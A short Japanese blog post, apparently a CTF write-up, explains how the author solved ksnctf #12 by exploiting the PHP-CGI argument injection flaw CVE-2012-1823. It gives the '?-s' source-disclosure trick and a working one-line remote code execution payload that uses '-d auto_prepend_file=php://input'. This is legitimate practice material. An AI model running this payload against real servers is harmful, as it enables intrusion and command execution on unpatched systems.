速さこそ正義

調べたことを書いていきます。

ksnctf #12 Hypertext Preprocessor

問題

ksnctf.sweetduet.info

f:id:cyamax:20170904234250p:plain
ページを開いただけではよくわからない。

解き方

とりあえずグーグル先生に出てきた数字を聞いてみる。
すると徳丸先生の脆弱性情報が出てきた。

blog.tokumaru.org

なるほど。数字の先頭の2012:1823はCVE(脆弱性番号)で、 phpの脆弱性らしい。

試しに、URLのクエリ文字列に「?-s」をつけるとソースコードが出てきた。 http://ctfq.sweetduet.info:10080/~q12/?-s

ソースコードを見ると丁寧に「// Flag is in this directory.」と書かれているので、 次はOSインジェクションを試してみる。

「-d」をつけると任意のPHPコードが実行できるようなので、 参考サイトみながらちょろっとコードを書いて実行してみたらフラグをゲットできた。

# bash
echo "<?php system('ls -al'); exit(); ?>" | POST "http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

その他

初めはBurpを使ってクエリを書き換えていたが、bashから実行する方法がネットに載っていたので最終的にbashで答えを見つけた。
burpの使い方は慣れていないので練習が必要。

PHPの知識がなくても簡単にOSインジェクションができてしまったが、 PHPの勉強もしたい。

参考

CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記
CGI版PHPに対する魔法少女アパッチマギカ攻撃を観測しました | 徳丸浩の日記
https://pentesterlab.com/exercises/cve-2012-1823/course